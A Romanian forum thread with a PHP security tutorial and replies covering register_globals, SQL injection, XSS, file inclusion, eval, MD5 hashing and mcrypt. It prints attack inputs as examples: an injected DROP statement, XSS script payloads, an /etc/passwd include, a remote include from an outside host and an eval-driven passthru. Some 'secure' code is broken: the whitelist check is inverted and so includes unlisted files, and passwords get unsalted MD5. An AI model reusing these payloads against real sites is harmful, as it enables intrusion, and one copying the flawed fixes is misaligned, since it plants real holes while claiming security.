Page 1 of 2 12 LastLast
Results 1 to 20 of 26

Thread: Securizarea codului în PHP

  1. #1
    Uber Mood johnake's Avatar
    Join Date
    Oct 2007
    Location
    Cum dai coltu', pe dreapta
    Posts
    4,851
    Blog Entries
    4

    Default Securizarea codului în PHP

    În momentul în care vă hotărâţi să dezvoltaţi o aplicaţie web în PHP, trebuie să vă gândiţi şi la securizarea codului. Majoritatea programatorilor neexperimentaţi nu ţin cont de anumite aspecte ale securităţii şi se trezesc ulterior cu aplicaţia hackuită. De aceea este recomandat ca securizarea codului să se facă în timpul procesului de scriere a aplicaţiei, ci nu ulterior, economisind astfel timp şi nervi.
    Înainte de a „intra în pâine”, să trecem în revistă câteva sfaturi generale cu privire la securitate:
    1. Să nu aveţi încredere în useri
    Plecaţi de la premisa că toate datele pe care website-ul dumnevoastră le adună sunt pline de cod maliţios. Sanitizaţi fiecare bucăţică de date, indiferent că sunteţi sigur că nimeni nu va încerca să vă atace site-ul. Câteodată e bine să fii paranoia.
    2. Să nu aveţi încredere în formulare (forms)
    Să ataci un formular este ceva banal, folosind un simplu javascript. Utilizatorii site-ului dvs. Interacţionează cu scripturile prin intermediul parametrilor de formulare, deci reprezintă un factor de risc ridicat. Ce putem să facem în această situaţie? Trebuie să validăm toate datele care sunt trasmise de la un script PHP la altul.
    3. Dezactivaţi variabilele globale
    Cea mai mare „gaură” de securitate pe care o puteţi avea este să aveţi parametrul de configurare „register_globals” activat. El este dezactivat by default de la varianta 4.2 PHP în sus.
    Programatorii începători văd în register_globals un convenient, dar ei nu realizează cât de periculoasă poate să fie această setare. Un server web cu variabilele globale activate, alocă automat variabile globale către orice parametru al unui formular. Ca să fim mai lămuriţi, haideţi să vedem un exemplu:
    HTML Code:
     <input name="username" type="text" size="12" maxlength="32">
    Când rulează “process.php”, PHP având activat register globals, introduce valoarea acestui parametru în variabila $username. Într-adevăr, acest lucru economiseşte timp întrucât nu mai trebuie să le accesăm prin intermediul $_POST['username']sau $_GET['username']. Din păcate, acest lucru vă expune la probleme de securitate serioase, deoarece PHP setează câte o variabilă pentru fiecare valoare trimisă scriptului printr-un parametru de tip GET sau POST şi acest lucru reprezintă o mare problemă dacă nu aţi iniţializat explicit variabila şi nu doriţi ca cineva să o manipuleze după bunul plac.
    Să luăm scriptul de mai jos drept exemplu – dacă variabila $authorized este setată ca şi true, scriptul va afişa date confidenţiale userului. În circumstanţe normale, variabila $authorized este setată ca şi true numai dacă userul a fost autentificat în mod corespunzător cu ajutorul funcţiei ipotetice authenticated_user. Dar dacă aveţi register_globals activat, oricine poate trimite un parametru GET cum ar fi authorized=1 pentru a se autentifica.
    PHP Code:
    <php
    if (authenticated_user()) {
        
    $authorized true;
    }
    ?> 
    Setări recomandate privind securitatea în PHP:
    • register_globals setat pe off;
    • safe_mode setat pe off;
    • error_reporting setat pe off. Această setare permite să se afişeze mesaje de eroare în browser, dacă există vreo eroare în script. Pentru serverele de producţie, folosiţi error logging.
    • Dezactivaţi aceste funcţii: system(), exec(), passthru(), shell_exec(), proc_open(), şi popen().
    • open_basedir setat atât pentru directorul /tmp (directorul unde vor fi stocate informaţiile de sesiuni) cât şi pentru root-ul site-ului pentru ca scripturile să nu poată accesa fişiere în afara zonelor selectate;
    • expose_php setat pe off. Această setare adaugă o semnătura PHP care include numărul versiunii în headerele de Apache;
    • allow_url_fopen setat pe off;
    • allow_url_include setat pe off;


    O să revin cu exemple privind securizarea contra SQL Injection, atacuri XSS, hashuirea parolelor, criptarea datelor cu MCRYPT etc.


    ---------- Post added at 12:21 PM ---------- Previous post was at 11:41 AM ----------

    Atacuri posibile într-un script php

    I. Atacuri de tip SQL Injection

    Deoarece interogările pe care PHP le pasează bazelor de date mysql sunt scrise în limbajul de programare SQL (Structured Query Language), există riscul ca cineva să încerce un atac de tip SQL injection , folosind mysql în parametrii interogărilor web. Inserând fragmente de cod SQL maliţios în parametrii formularelor, un atacator încearcă să pătrundă în serverul dvoastră sau chiar să-l dezactiveze.
    Să plecăm de la premisa că aveţi un parametru de formular pe care îl pasaţi într-o variabilă numită $produs şi creaţi o interogare de gen:

    PHP Code:
    $sql "SELECT * FROM produse_info WHERE produs = '$produs'"
    Dacă acel parametru are originea direct din formular, folosiţi metode de escape cu ajutorul funcţiilor native PHP, cum ar fi:
    PHP Code:
    $sql 'SELECT * from produse_info WHERE produs = '"'
             mysql_real_escape_string(
    $produs) . '"'; 
    Dacă nu faceţi escapeing ca în exemplul de mai sus, un user poate introduce următorul fragment de cod în parametrul formularului:


    Code:
    40'; DROP produse_info; SELECT 'FOO
    Având ca rezultat următoarea interogare:

    Code:
    SELECT produs FROM produse_info WHERE produs = '40'; DROP produse_info; SELECT 'FOO'
    Deoarece acel punct şi virgulă [;] reprezintă delimitatorul unui statement, baza de date procesează trei statement-uri diferite:

    SELECT produs FROM produse_info WHERE produs = '40'
    DROP produse_info
    şi
    SELECT 'FOO'

    Şi aşa ţi-ai luat la revedere de la tabelul produse_info.

    Notă: Această sintaxă particulară nu va funcţiona cu PHP şi MySQL, deoarece funcţia mysql_query() permite procesarea unui singur statement per request. Totuşi, un subquery tot va funcţiona.

    Pentru a preveni atacurile SQL injection:
    • Validaţi întotdeauna parametrii. De exemplu, dacă valoarea unui parametru trebuie să fie un număr, asigură-te că acea valoare va fi un număr.
    • Folosiţi întotdeauna funcţia mysql_real_escape_string() pentru a escape-ui quotes (apostrof- ') şi double quotes (ghilimele - ") din datele dvoastră.



    ---------- Post added at 01:17 PM ---------- Previous post was at 12:21 PM ----------

    II. Atacuri de tip XSS

    XSS este un acronim şi vine de la cross-site scripting. Spre deosebire de majoritatea atacurilor, acest exploit funcţionează numai pe client-side. Cea mai întâlnită formă de atac XSS este aceea de a introduce cod JavaScript în conţinutul transmis de user pentru a fura datele din cookie-urile acelui user. Cum majoritatea site-urilor folosesc cookie-uri şi sesiuni pentru a-şi identifica vizitatorii, datele furate pot fi folosite pentru personifica acel user – ceea ce reprezintă o mare problemă când vorbim despre un cont obişnuit de user şi chiar dezastruos dacă acel cont are şi drepturi administrative. Dacă nu folosiţi cookie-uri sau sesiuni pe site-ul dvs, userii nu sunt vulnerabili la astfel de atacuri, însă cred că e important să cunoaşteţi cum funcţionează acest atac.
    Spre deosebire de atacurile de tip MySQL injection, atacurile XSS sunt ceva mai greu de prevenit. Site-uri precum yahoo, ebay, apple şi microsoft au fost victime ale acestui gen de atacuri. Deşi tehnica aceasta nu are legătură cu PHP, puteţi folosi PHP ca unealtă pentru a stripui datele transmise de utilizatori, pentru a preveni aceste atacuri. Pentru a stopa un atac de tip XSS trebuie să restricţionaţi şi să filtraţi datele pe care userul le trimite către site-ul dvs. Tocmai de aceea majoritatea forumurilor nu acceptă taguri html în posturi şi folosesc bbcode în schimb.
    Puteţi folosi un script de genul ăstuia pentru a preveni unele atacuri:

    PHP Code:
    function antiXSS($data$length null) {

        
    // Inlatura spatial alb.
        
    $data trim($data);

        
    // Previne problem in codificarea unicode.
        
    $data utf8_decode($data);

        
    // Transformam tagurile html in entitatile corespunzatoare.Ex: <b> = &lt;b&gt;
        
    $data htmlentities($dataENT_NOQUOTES);
        
    $data str_replace("#""#"$data);
        
    $data str_replace("%""%"$data);

        
    $length intval($length);
        if (
    $length 0) {
            
    $data substr($data0$length);
        }
        return 
    $data;

    Această funcţie transformă caracterele specifice html în simbolurile literale html. Browserul rendează orice cod html trecut prin acest script ca şi text, fără markup. Să luăm un exemplu:

    <b>Acesta este un text bolduit</b>

    În mod normal, browserul rendează acel text aşa:
    Acesta este un text bolduit

    Folosind funcţia antiXSS(), o să fie afişat ca şi inputul original. Motivul este: caracterele de tag (gen <>) sunt entităţi HTML în stringul procesat. În concluzie, folosind funcţia antiXSS(), browser-ul va da ca şi output:

    &lt;b&gt;Acesta este un text bolduit&lt;/b&gt;

    Partea esenţială a antiXSS() este funcţia nativă din PHP: htmlentities(), care transformă caracterele <,> şi & în entităţile echivalente: &lt;, &gt;, &amp;. Deşi această funcţie vă protejează de anumite atacuri, hax0rii experimentaţi pot avea alte tehnici de a trece cu uşurinţă peste filtrele dvs: encodarea scripturilor maliţioase în sistem hexazecimal sau UTF-8 în loc de text ASCII. Ei pot trimite codul printr-o variabila GET din url, de gen: “You just got fucked up by some l33t hax0rz!”. Un exemplu de atac prin sistem hexazecimal ar arăta cam aşa:
    HTML Code:
    <a href="http://host/a.php?variable=%22%3e %3c%53%43%52%49%50%54%3e%44
    %6f%73%6f%6d%65%74%68%69%6e%67%6d%61%6c%69%63%69%6f%75%73%3c%2f%53%43%52
    %49%50%54%3e">
    Cănd browserul rendează acea informaţie, ea va deveni:
    HTML Code:
     <a href="http://host/a.php?variable="> <SCRIPT>Dosomethingmalicious</SCRIPT>
    Pentru a preveni acest lucru, functia antiXSS converteste aditional caracterele # şi % în entităţile corespunzătoare, blocând atacurile de tip hex şi convertind datele encodate în UTF-8.

    Parametrul $length al funcţiei antiXSS() vă ajută să specificaţi numărul maxim de caractere pe care un string îl poate avea, pentru a preveni un eventual overload cu un input foarte lung.
    Last edited by johnake; 09-28-2009 at 10:46 AM.
    I don't have any beliefs or allegiances. I don't believe in this country, I don't believe in religion, or a god, and I don't believe in all these man-made institutional ideas.

    George Denis Patrick Carlin (May 12, 1937 – June 22, 2008)

  2. The Following 21 Users Say Thank You to johnake For This Useful Post:

    1epi (09-30-2009), adytzu2007 (09-28-2009), andronic (09-29-2009), ardei (09-28-2009), BigDaddy (09-28-2009), CriSs23 (03-12-2010), DarkK1d (07-30-2010), dorelul (12-10-2009), florin1666 (09-29-2009), ghowz (09-28-2009), Hakuin (09-28-2009), Marchisio (01-16-2015), Masquerade (09-28-2009), redice1 (09-29-2009), sirAndrew (09-28-2009), sMILEY4ever (09-28-2009), Stiglitz (06-19-2010), tastatura (09-28-2009), TheJudge (04-18-2010), THOR (09-28-2009), Vokal (09-29-2009)

  3. #2
    Uber Mood johnake's Avatar
    Join Date
    Oct 2007
    Location
    Cum dai coltu', pe dreapta
    Posts
    4,851
    Blog Entries
    4

    Default

    III. Protejarea datelor folosind one-way hash.

    Această metodă (de hashing) efectuează o transformare ireversibilă a datelor – cu alte cuvinte, poate produce o semnătură hash a unei parole, dar nu mai poate fi decriptată şi vizualizată ca şi valoare text originală. De ce am vrea să facem noi asta? Aplicaţia dumneavoastră stochează parole. Un administrator nu trebuie să ştie parola unui user – de fapt este o idee bună ca numai userul respectiv să-şi cunoască parola. Sistemul şi numai sistemul ar trebui să fie capabil să identifice o parolă – acesta a fost modelul de securitate al parolelor în Unix de ani buni. Securizarea one-way a parolelor funcţionează în modul următor:
    1.Când un user sau un administrator crează sau schimbă o parolă a unui cont, sistemul hashuieşte parola şi stochează rezultatul. Host-ul nu mai ţine cont de valoarea text a parolei.
    2.Când un user se loghează într-un sistem prin orice mijloc, parola introdusă este din nou hashuită.
    3.Hostul elimină parola introdusă in plain-text.
    4.Parola nou hashuită este comparată cu hashul stocact
    5.Dacă parolele hashuite sunt identice, atunci sistemul îi va acorda acces.
    Hostul face acest lucru fără să cunoască măcar parola originală; de fapt valoarea originală este complet irelevantă. În efect, dacă cineva încearcă să pătrundă în sistemul dvs şi fură baza de date cu parole, atacatorul nu va avea decât o gramadă de parole hashuite, fără a avea posibilitatea de a le converti din nou la plain-text. Desigur că dacă are destul timp, putere de procesare puternică şi parole uşoare, un atacator poate folosi un dicţionar de parole pentru a le putea dezvălui.

    Notă: a se deosebi procesul de criptare faţă de hashing. Spre deosebire de criptare, hashul nu mai poate fi decriptat. Există posibilitatea (destul de mică însă) ca două şiruri de caractere să producă acelaşi hash. Nu există garanţia că o valoare hash este unică.
    O funcţie simplă de hash ar fi:
    PHP Code:
    function hash_passwd($pass){
        return 
    md5($pass)

    Funcţia md5() returnează un şir de 32 de caractere hexazecimale, bazată pe RSA Data Security Inc. Message-Digest Algorithm. Puteţi insera un şir de 32 de caractere hexazecimale în baza de date şi să o comparaţi cu un alt şir hashuit cu md5.

    Atenţie: În 1996 Dobbertin face cunoscută existenţa unei coliziuni în funcţia de compresie din MD5. Aceasta nu este un atac propriu-zis îndreptat împotriva funcţiei MD5, dar face ca toţi criptologii să propună înlocuirea folosirii funţiei MD5 cu funcţii mai sigure cum ar fi SHA-1 sau RIPEMD-160. În august 2004 au fost descoperite de către cercetătorii chinezi coliziuni în funcţia propriu-zisă MD5.Aceste atacuri demonstrează însă numai existenţa coliziunilor în algoritm. Atacuri de tip Preimage cu această nouă metoda de atac nu au produs rezultate într-un interval de timp realist.
    Este aproape imposibil să decriptezi date hashuite cu md5. Există pe net o grămadă de dicţionare md5 şi cu puţin noroc un atacator se poate folosi de ele pentru a decripta parole simple de genul: dog, cat etc.


    IV. Criptarea datelor cu MCRYPT

    Hashurile MD5 sunt destul de eficiente dacă nu doriţi să vedeţi datele într-un format text. Din păcate asta nu este întotdeauna cea mai bună opţiune – dacă doriţi să stocaţi informaţiile unui card de credit într-un format criptat, mai târziu o să vă aflaţi în situaţia în care veţi avea nevoie de acele date drecriptate.
    Una dintre cele mai simple soluţii o reprezintă modulul Mcrypt, un add-in de PHP care permite criptare la nivel superior. Librăria Mcrypt oferă peste 30 de cifruri de folosit în criptare şi posibilitatea de a folosi un passphrase care te asigură că numai dvs (sau opţional userii dvs) puteţi decripta datele. Pentru a folosi modulul Mcrypt, recompilaţi PHP-ul cu suport Mcrypt.
    Haideţi să vedem un exemplu elocvent de criptare/decriptare a datelor:
    PHP Code:
    <?php
    $data 
    "Datele pe care doriţi să le criptaţi";
    $key "Frază secretă pentru a cripta datele";
    $cipher "MCRYPT_SERPENT_256";
    $mode "MCRYPT_MODE_CBC";

    function 
    encrypt($data$key$cipher$mode) {
    // Criptează datele

    return (string)
                
    base64_encode
                    
    (
                    
    mcrypt_encrypt
                        
    (
                        
    $cipher,
                        
    substr(md5($key),0,mcrypt_get_key_size($cipher$mode)),
                        
    $data,
                        
    $mode,
                        
    substr(md5($key),0,mcrypt_get_block_size($cipher$mode))
                        )
                    );
    }

    function 
    decrypt($data$key$cipher$mode) {
    // Decriptează datele
        
    return (string)
                
    mcrypt_decrypt
                    
    (
                    
    $cipher,
                    
    substr(md5($key),0,mcrypt_get_key_size($cipher$mode)),
                    
    base64_decode($data),
                    
    $mode,
                    
    substr(md5($key),0,mcrypt_get_block_size($cipher$mode))
                    );
    }

    ?>
    Funcţia mcrypt() are nevoie de câteva informaţii:
    • Datele care urmează a fi criptate;
    • Fraza folosită pentru a cripta şi de a debloca datele dvs, cunoscută şi sub denumirea de cheie (key)
    • Cifrul (cipher) folosit pentru a cripta datele, care este algoritmul specific folosit pentru a cripta datele. Scriptul de mai sus foloseşte MCRYPT_SERPENT_256, dar puteţi alege dintr-o varietate de cifruri, cum ar fi: MCRYPT_TWOFISH192, MCRYPT_RC2, MCRYPT_DES şi MCRYPT_LOKI97.
    • Modul folosit pentru a cripta datele. Sunt câteva moduri de folosit: Electronic Codebook (ECB) sau Cipher Feedback. Acest script foloseşte MCRYPT_MODE_CBC, Cipher Block Chaining.
    • Un vector de iniţializare – altfel cunoscut ca şi IV, sau seed – un bit suplimentar de date binare folosit pentru a sădi algoritmul de criptare. Adică mai pe băbeşte reprezintă ceva suplimentar pentru a face algoritmul mai greu de spart.
    • Lungimea stringului necesar cheii si vectorului de iniţializare, care variază dupa cifru si bloc. Folosiţi mcrypt_get_key_size() şi mcrypt_get_block_size() pentru a afla lungimea corespunzătoare; apoi trimuiţi valoarea cheii cu ajutorul funcţiei substr().

    Dacă cineva vă fură atât datele cât şi fraza de criptare, poate folosi cifruri până îl găseşte pe cel care funcţionează. De aceea adăugăm încă un strat de securitate, folosind funcţia md5() la cheie înainte de a o folosi, astfel că deşi poate avea atât datele cât şi fraza de criptare, atacatorul nu obţine ceea ce doreşte.
    Un atacator va avea nevoie atât de funcţie cât şi de date şi de fraza de criptare – în acest caz ar avea acces complet la serverul dvs. şi deja puteţi spune cu seninătate: “I’m fucked up!”.

    Există o mică problemă de stocare a datelor în acest format. Mcrypt returnează datele criptate într-un format binar urât, care cauzează nişte erori nenorocite când doriţi să stocaţi datele în anumite câmpuri MySQL. Aşa că o să folosim funcţiile base64encode() şi base64decode() pentru a transforma datele într-un format compatibil cu SQL.
    Last edited by johnake; 09-29-2009 at 11:12 AM.
    I don't have any beliefs or allegiances. I don't believe in this country, I don't believe in religion, or a god, and I don't believe in all these man-made institutional ideas.

    George Denis Patrick Carlin (May 12, 1937 – June 22, 2008)

  4. The Following 20 Users Say Thank You to johnake For This Useful Post:

    adytzu2007 (09-28-2009), andronic (09-29-2009), BigDaddy (09-28-2009), CriSs23 (03-12-2010), DarkK1d (07-30-2010), dorelul (12-10-2009), florin1666 (09-29-2009), ghowz (09-28-2009), Hakuin (09-30-2009), Masquerade (09-28-2009), OiNK (10-11-2009), redice1 (09-29-2009), Salgii (08-16-2010), Stiglitz (06-19-2010), tastatura (09-29-2009), Tektonik (01-08-2010), TheFlash (01-09-2010), THOR (09-28-2009), ultrasmiky (09-29-2009), Vokal (09-29-2009)

  5. #3

    Default

    Great tutorials... Thanks johnake...
    La mai multe
    Everything that can be counted does not necessarily count; everything that counts cannot necessarily be counted.
    Albert Einstein

  6. #4

    Default

    Sa stii totusi ca butonul ala de thanks tocmai pentru asta e, sa nu mai scrii...wooooow great post, esti zeu, mersi de info, etc etc etc. Ai dat si thanks ai si postat...hotarastete.
    Ridică-te și mergi, Forum! - firstnamejhon 11:1-44

  7. #5

    Default

    Pai am considerat ca posturile erau atat de bune incat meritau si un post de-al meu de thanks. Plus ca aveam 198 de posturi si nu eram sigur unde sa postez pentru al 199-lea.
    Mai are chef omul si de cate un spam cateodata

    L.E.: Asta pentru 200 de posturi
    Everything that can be counted does not necessarily count; everything that counts cannot necessarily be counted.
    Albert Einstein

  8. #6
    Music Addict OiNK's Avatar
    Join Date
    May 2008
    Location
    The Pink Palace
    Posts
    634

    Default

    Thanks for this.

    Ceva cu adevarat folositor

  9. #7
    Uber Mood johnake's Avatar
    Join Date
    Oct 2007
    Location
    Cum dai coltu', pe dreapta
    Posts
    4,851
    Blog Entries
    4

    Default

    Atenţie mare pentru ownerii de trackere. Scriptul tbdev şi în speţă majoritatea modulelor adiţionale folosesc variabila de server $_SERVER['PHP_SELF'] la action-urile formularelor.

    HTML Code:
    <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
      <!-- conţinut formular aici -->
    </form>
    Ei, bine folosirea acestei variabile reprezintă o mare problemă de securitate. Cum?

    Elementul PHP_SELF poate fi manipulat de către user pentru a include cod maliţios XSS. Limita constă doar în imaginaţia atacatorului.

    Unde este problema?

    Dacă stai un pic şi analizezi întreg array-ul de variabile $_SERVER, veţi observa un alt element numit PATH_INFO. Vedeţi voi, este perfect valabilă adăugarea unei informaţii extra după numele paginii în URL. Să luăm următorul exemplu:

    http://www.mytracker.ro/index.php/ne...ory/javascript

    În acest caz, elementul PATH_INFO va fi populat cu datele adăugite la sfarşitul URL-ului. Şi PHP_SELF conţine aceste date. Dacă ar fi să examinăm array-ul din $_SERVER, având acest URL, vom obţine:

    [PATH_INFO] => /news/category/javascript
    [PHP_SELF] => /php/phpselftest.php/news/category/javascript

    Haideţi să reluăm exemplul de mai sus cu acel formular. Folosind $_SERVER['PHP_SELF'] direct în action-ul formularului, se poate observa cu ochiul liber cum aceasta poate reprezenta o vulnerabilitate de tip XSS.

    Să presupunem ca user-ul va introduce ceva de gen:

    http://www.mytracker.ro/form.php/%22%3E%3Cscript%3Ealert(’atac xss’)%3C/script%3E%3Cbr%20class=%22neimportant

    Ia să vedem noi, ce efect are asupra formularului nostru:

    HTML Code:
    <form method="post" action="http://www.mytracker.ro/form.php/"><script>alert('atac xss')</script><br class="neimportant">
      <!-- conţinut formular -->
    </form>
    Nu prea e bine, nu?

    Soluţia e simplă: folosiţi basename($_SERVER['SCRIPT_FILENAME']) în locul $_SERVER['PHP_SELF'].

    PHP Info:

    basename()

    Reserved Variables [$_SERVER]
    Last edited by Penemue; 09-29-2009 at 04:45 PM.
    I don't have any beliefs or allegiances. I don't believe in this country, I don't believe in religion, or a god, and I don't believe in all these man-made institutional ideas.

    George Denis Patrick Carlin (May 12, 1937 – June 22, 2008)

  10. The Following 15 Users Say Thank You to johnake For This Useful Post:

    adytzu2007 (09-29-2009), andronic (09-29-2009), dorelul (12-10-2009), florin1666 (09-29-2009), Hakuin (09-30-2009), Masquerade (09-29-2009), redice1 (09-29-2009), sirAndrew (09-29-2009), Stiglitz (06-19-2010), tastatura (09-29-2009), TheJudge (04-18-2010), THOR (09-29-2009), ultrasmiky (09-29-2009), Vokal (09-29-2009), wizard (09-29-2009)

  11. #8
    Torrents.ro Member THOR's Avatar
    Join Date
    Nov 2007
    Location
    Valhalla
    Posts
    338

    Default

    johnake super tutorial dacă toti ar fi ca tine eu cred că ar fi ce mai tare comunitate.
    Mulţumim


    God of war

  12. #9

    Default

    md5() simplu e foarte usor de spart pana la lungimi de 12 caractere. (bruteforce cu GPU, rainbow tables...)
    un mic salt, face minuni contra rt's. recomand sha-1 sau chiar sha-256 avand in vedere ca am un prieten care a gasit o metoda sa prezica o bucata din plain-textul hashului md5. btw never, ever use mysql323 ! it sucks.
    nice tuts !
    Last edited by 1epi; 09-30-2009 at 08:08 PM.

  13. #10

    Default

    Quote Originally Posted by 1epi View Post
    md5() simplu e foarte usor de spart pana la lungimi de 12 caractere. (bruteforce cu GPU, rainbow tables...)
    un mic salt, face minuni contra rt's. recomand sha-1 sau chiar sha-256 avand in vedere ca am un prieten care a gasit o metoda sa prezica o bucata din plain-textul hashului md5. btw never, ever use mysql323 ! it sucks.
    nice tuts !
    ca sa spargi o parola de 12 caractere md5 cu brutforce si rainbow tables iti trebuie un an, si niste tabele de cativa tera, asta daca vrei sa folosesti toate caracterele
    vorbesti fara sa stii despre ce e vorba....
    Last edited by icetorrent; 01-09-2010 at 12:23 PM.
    Click & Seed!

  14. #11

    Default

    Quote Originally Posted by icetorrent View Post
    ca sa spargi o parola de 12 caractere md5 cu brutforce si rainbow tables iti trebuie un an, si niste tabele de cativa tera, asta daca vrei sa folosesti toate caracterele
    vorbesti fara sa stii despre ce e vorba....
    nu-mi spune ca nu stiu despre ce vorbesc, ghici cine e developer de 2 ani pe FRT ?

    intr-adevar nu poti sparge parole de lungime 12 cu toate caracterele.
    charSetLen : loweralpha = 26;upperalpha = 26;numeric =10;space=1;symbol32=32;
    keySpace=2^57. asta e limita superioara in momentul de fata pe 300 placi video, folosind la maxim md5 hash reversing si optimizare pe CUDA.

    lungime : charSetLen
    12 : 26
    11 : 36
    10 : 51
    9 : 80
    8 : 139

    ce sa intelegeti din asta ?
    pai simplu :
    pentru lungime 12 : poate fi sparta o parola de lungime 12, care contine doar caractere a-z SAU caractere A-Z. (a-z = loweralpha, A-Z=upperalpha)
    pentru lungime 11 : doar parole loweralpha-numeric SAU upperalpha-numeric
    pentru lungime 10 : poti loweralpha sau upperalpha sau numeric
    lungime 9 : combinari de charseturi, a caror suma de lungimi da mai mic sau egal cu 80. like... mixalpha-numeric-space(63<80); numeric-symbol32-space etc

  15. #12

    Default

    Quote Originally Posted by 1epi View Post
    nu-mi spune ca nu stiu despre ce vorbesc, ghici cine e developer de 2 ani pe FRT ?

    intr-adevar nu poti sparge parole de lungime 12 cu toate caracterele.
    charSetLen : loweralpha = 26;upperalpha = 26;numeric =10;space=1;symbol32=32;
    keySpace=2^57. asta e limita superioara in momentul de fata pe 300 placi video, folosind la maxim md5 hash reversing si optimizare pe CUDA.

    lungime : charSetLen
    12 : 26
    11 : 36
    10 : 51
    9 : 80
    8 : 139

    ce sa intelegeti din asta ?
    pai simplu :
    pentru lungime 12 : poate fi sparta o parola de lungime 12, care contine doar caractere a-z SAU caractere A-Z. (a-z = loweralpha, A-Z=upperalpha)
    pentru lungime 11 : doar parole loweralpha-numeric SAU upperalpha-numeric
    pentru lungime 10 : poti loweralpha sau upperalpha sau numeric
    lungime 9 : combinari de charseturi, a caror suma de lungimi da mai mic sau egal cu 80. like... mixalpha-numeric-space(63<80); numeric-symbol32-space etc
    nu ai specificat cat iti ia sa creezi tabelele care iar nu sunt 100% sigure, in fine nu conteaza
    FRT asta o fi ceva federatie romana de tenis?... daca ma pui sa ghicesc.. glumesc
    nu te mai agita
    Click & Seed!

  16. #13
    Uber Mood johnake's Avatar
    Join Date
    Oct 2007
    Location
    Cum dai coltu', pe dreapta
    Posts
    4,851
    Blog Entries
    4

    Default

    Urat e sa vezi cum doi oameni care pot oferi ceva constructiv, se iau la cearta.
    Brainstorming-ul este cheia. Nu cine e cel mai tare. .
    Va urez succes amandorura!
    I don't have any beliefs or allegiances. I don't believe in this country, I don't believe in religion, or a god, and I don't believe in all these man-made institutional ideas.

    George Denis Patrick Carlin (May 12, 1937 – June 22, 2008)

  17. The Following 2 Users Say Thank You to johnake For This Useful Post:

    1epi (01-09-2010), icetorrent (01-09-2010)

  18. #14

    Default

    FRT
    99.9% ajunge. avand in vedere ca "stocarea" in format RTIv2, a 99.9% din plain-text-uri e de zeci de ori mai buna (ca spatiu) decat stocarea tuturor combinarilor posibile, de ce nu ar fi bun un tabel ?

    Ti-ar lua cam de 2.3 ori mai mult timp sa generezi tabele decat sa treci cu bruteforce prin acel keySpace. (doar din cauza ca e reduction function +hash function vs. hash function).

    Ai uitat sa iei in considerare viteza cu care poti gasi un hash intr-un tabel.
    Spre exemplu md5_alpha-space#1-9 pot sa-l parcurg in 20 min pe computerul meu, cautand 1000 hashuri si imi sparge 999 din ele.
    Daca ar fi sa fac bruteforce mi-ar lua in jur de 400 zile dar as sparge cu una in plus.

    @johnake multumesc ca mi-ai reamintit asta !
    Last edited by 1epi; 01-09-2010 at 03:38 PM.

  19. #15

    Default

    hai sa nu lungim discutia
    intradevar treci mai repede prin plain text dar tabelul odata ce l-ai generat nu il mai generezi altu
    ideea e ca nu se decripteaza asa usor un md5 mai ales daca folositi alfa-numeric + macar un simbol
    si ca sa ajungi sa il decriptezi trebuie sa faci rost de hash
    in concluzie nu folositi ca password 123456 sau qwerty
    Click & Seed!

  20. #16
    Uber Mood johnake's Avatar
    Join Date
    Oct 2007
    Location
    Cum dai coltu', pe dreapta
    Posts
    4,851
    Blog Entries
    4

    Default

    Aha, se poate discuta și frumos între doi oameni pregătiți. Lăsați individualitatea deoparte și ajutați comunitatea prin cunoștințele voastre. Răspândirea cunoașterii nu ar trebui limitată de secrete profesionale și ego-uri rănite pe internet. Ar trebui să fie o grădină deschisă, din care să se înfrupte fiecare.
    I don't have any beliefs or allegiances. I don't believe in this country, I don't believe in religion, or a god, and I don't believe in all these man-made institutional ideas.

    George Denis Patrick Carlin (May 12, 1937 – June 22, 2008)

  21. The Following 3 Users Say Thank You to johnake For This Useful Post:

    1epi (01-09-2010), icetorrent (01-09-2010), wizard (01-09-2010)

  22. #17
    Uber Mood johnake's Avatar
    Join Date
    Oct 2007
    Location
    Cum dai coltu', pe dreapta
    Posts
    4,851
    Blog Entries
    4

    Default

    Cele mai comune greşeli în privinţa securităţii unui script

    Cea mai importantă idee de la care trebuie să plecaţi atunci când vă apucaţi să scrieţi un script în PHP care interacţionează cu utilizatorul final este să nu plecaţi de la premisa că datele introduse de utilizator vor fi exact în formatul în care vă aşteptaţi să fie.

    Principii de bază în securizarea unui script:

    1.Niciodată să nu faceţi include, require sau deschidere directă de fişier cu un nume de fişier bazat inputul utilizatorului, fără să faceţi o verificare riguroasa înainte.

    Să luăm următorul exemplu:

    PHP Code:
    if(isset($pagina)) 

      include(
    $pagina); 

    După cum bine se observă nu se face nici un fel de validare a variabilei $pagina, astfel că teoretic un user poate utiliza scriptul în felul următor (presupunând că register_globals este setat pe ON):

    PHP Code:
    script.php?pagina=/etc/passwd 
    Acum linuxiştii care urmăresc acest thread îşi pot da seama că mai pe româneşte un astfel de atac te poate îngropa adânc în materie maronie. Mai pe înţelesul tuturor, ăla e fişierul care stochează datele de logare ale utilizatorilor, iar când un fişier non-PHP este inclus sau required (include() / require() etc), este afişat ca şi HTML/Text în browser şi nu parsat ca şi cod PHP.

    Depinzând de configuraţia cu care a fost instalat PHP-ul, funcţiile include() şi require() pot include şi fişiere remote. Ex.:

    PHP Code:
    script.php?pagina=http://bahoi.com/hacking_script.php 
    Practic, userul cu ajutorul fişierului hacking_script.php poate să facă output la orice cod PHP pe care-l doreşte, iar scriptul dvoastră îl execută. Gândiţi-vă că poate are un cod care să golească tot din baza dvoastra de date sau să afişeze informaţii confidenţiale direct din browser.

    Soluţia: trebuie să validăm inputul. O metodă de validare ar fi să creăm un whitelist de pagini acceptate. Dacă inputul nu corespunde cu niciuna din valorile din lista de pagini, atunci afişăm o eroare. Ex.:

    PHP Code:
    $whitelist = array(‘index.php’‘users.php’‘example.php’);
    if(!
    in_array($pagina$whitelist))
    {
    include (
    $pagina);
    }
    else
    {
    die(
    “Fuck off!);

    2. Aveţi mare grijă cu funcţia eval();
    Plasarea valorilor provenite din inputul utilitatorilor în funcţia eval() poate fi extrem de periculoasă. Practic oferi pe tavă userului maliţios posibilitatea de a orice comandă pe care el sau ea o doreşte. Ex:

    PHP Code:
    script.php?input=;passthru("cat /etc/paswd"); 
    He he he, din nou output la fişierul passwd şi iată cum eşti din nou in deep shieeet.
    Folosiţi funcţia eval() în mod cumpătat şi validaţi inputul. Ar trebui folosită numai atunci când este absolut necesară – când există cod PHP generat dinamic. Nu-l folosiţi în substituirea variabilelor din template-uri în stringuri sau pentru a substitui valori introduse de utilizatori. Încercaţi în schimb sprintf() sau un sistem de template.

    3. Aveţi mare grijă când folosiţi register_globals = ON
